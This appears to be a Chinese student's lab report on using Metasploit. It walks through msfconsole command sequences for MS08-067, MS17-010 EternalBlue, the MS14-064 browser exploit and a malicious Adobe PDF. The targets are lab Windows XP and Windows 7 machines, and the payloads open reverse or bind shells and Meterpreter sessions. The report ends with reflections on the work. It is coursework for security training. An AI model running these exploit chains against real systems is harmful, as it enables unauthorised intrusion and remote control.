目录原理与实践说明 攻击实例 主动攻击的实践 攻击浏览器的实践 攻击客户端的实践 成功应用任何一个辅助模块
离实战还缺些什么技术或步骤 实验总结与体会
一.原理与实践说明1.实践内容本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成： 以上四个小实践可不限于以上示例，并要求至少有一个是和其他所有同学不一样的，否则扣除0.5分。 2.预备知识一、MSF的六种模块Exploit模块Payload模块Encoder模块Aux模块Post模块Nops模块二、MSF常用漏洞利用命令search name：用指定关键字搜索可以利用的漏洞模块
use exploit name：使用漏洞
show options：显示配置选项
set option name option：设置选项
show payloads：回链攻击载荷
show targets 显示目标（os版本）
set TARGET target number：设置目标版本
exploit：开始漏洞攻击
sessions -l：列出会话
sessions -i id：选择会话
sessions -k id：结束会话
Ctrl z：把会话放到后台
Ctrl c：结束会话
show auxiliary：显示辅助模块
use auxiliary name ：使用辅助模块
set option name option：设置选项
exploit：运行模块
3.基础问题问：用自己的话解释什么是exploit,payload,encode。 exploit测试者利用系统，程序，或服务的漏洞进行攻击的一个过程。
payload攻击者在目标系统上执行的一段攻击代码，该代码具有返弹连接，创建用户，执行其他系统命令的功能。
encodeencode编码一是为了避免使攻击载荷不能完整运行的“坏字符”，二是为了改变特征码，帮助攻击载荷避免被杀软发现。
攻击实例主动攻击的实践ms08-067ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷，攻击可以获得一个相对高的权限。靶机：Microsoft Windows xp SP3payload :generic/shell_reverse_tcp测试靶机与攻击机之间能否ping通 攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112 查看到靶机的版本号 查看到靶机存在此漏洞 
msfconsole 打开控制台，遇到以下提示，原因是没有找到数据库文件
输入 service postgresql start 初始化MSF数据库（关键步骤！）msfdb init 
search ms08-067 查看漏洞位置
use exploit/windows/smb/ms08_067_netapi 选择该漏洞
set RHOSTS 192.168.1.148 设置靶机IP
利用辅助模块查看端口是否开启（默认端口为445） search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞
show options //显示设置
set RHOSTS 192.168.1.148 //设置监听者地址
exploit //攻击
show targets查看targets，修改靶机的类型 set target 1 （也可以不修改）
show payloads 查看可用payload
选择 set generic/shell_bind_tcp set LHOST 192.168.1.147 设置监听者ip
set LPORT 5316 设置监听者端口号
show options 查看设置信息
exploit 进行攻击，攻击成功！
ms17_010_eternalblue靶机：Microsoft Windows 7(10.1.1.137)payload : windows/x64/shell/reverse_tcp_uuid实验步骤==首先将虚拟机网络设置为桥接。== nmap --script=vuln 192.168.1.148 //查看靶机开放端口、是否存在ms17_010
search ms17_010//搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue//使用漏洞
show payloads//显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 192.168.1.147 //设置监听地址
set LPORT 5316 //设置端口号
set RHOSTS 192.168.1.148 //设置靶机地址
show options//查看配置信息
exploit//开始攻击
攻击成功 
换个载荷 windows/x64/vncinject/reverse_tcp_uuid 
攻击成功（获得了一张桌面图片，感觉像是一种辅助攻击）
攻击浏览器的实践ms14_064靶机：WindowsXP IE 8.0exploit : windows/browser/ms14_064_ole_code_executionpayload : windows/meterpreter/reverse_tcp实验步骤use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息（发现可攻击winXP和win7）
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 192.168.1.147 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 192.168.1.147
set LPORT 5316
set target 0 //设置winXP靶机
exploit //发起攻击
将生成的URL地址在winXP的IE中打开，发现成功建立了一个会话
输入sessions查看会话相关信息 输入sessions -i 1即可选择第一个会话，调用shell权限成功
尝试使用payload:windows/meterpreter/reverse_https，结果失败了(它卡住了，应该是XP的设置有问题)
攻击客户端的实践Adobe靶机：Windows XPpayload : windows/meterpreter/bind_tcp实验步骤msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息（重点当然是description）
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5316 //设置端口号
set RHOST 192.168.1.148 //设置靶机IP地址
exploit #攻击
将生成的msf.pdf复制到Windows XP中 kail中输入back退出当前模块，进入监听模块 use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.1.148 //设置靶机IP地址
set LPORT 5316 //设置端口号
exploit //攻击
在靶机中使用双击打开msf.pdf
攻击成功 三.离实战还缺些什么技术或步骤本次实验操作起来比较简单，逻辑也很清晰，绝大多数的时间花费在了配置环境上。从windowsXP Professional sp2到windows XP SP3(English)，从IE 6.0到IE 7.0/8.0，Adobe Reader11到9，着实感受到了配置环境的艰辛，也体会到了metasploit攻击漏洞的专一性，对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。如果放在实践中，搜寻可以攻击的模块也是一个非常漫长的过程。 同时，我们的攻击是建立在前人的基础上，很多漏洞都是经过修复，不再适用，退一步来讲，即使我们知道了系统漏洞，怎样进行有效的攻击而不被发现又是一个巨大的难题。 来源：http://www./content-4-169601.html
|
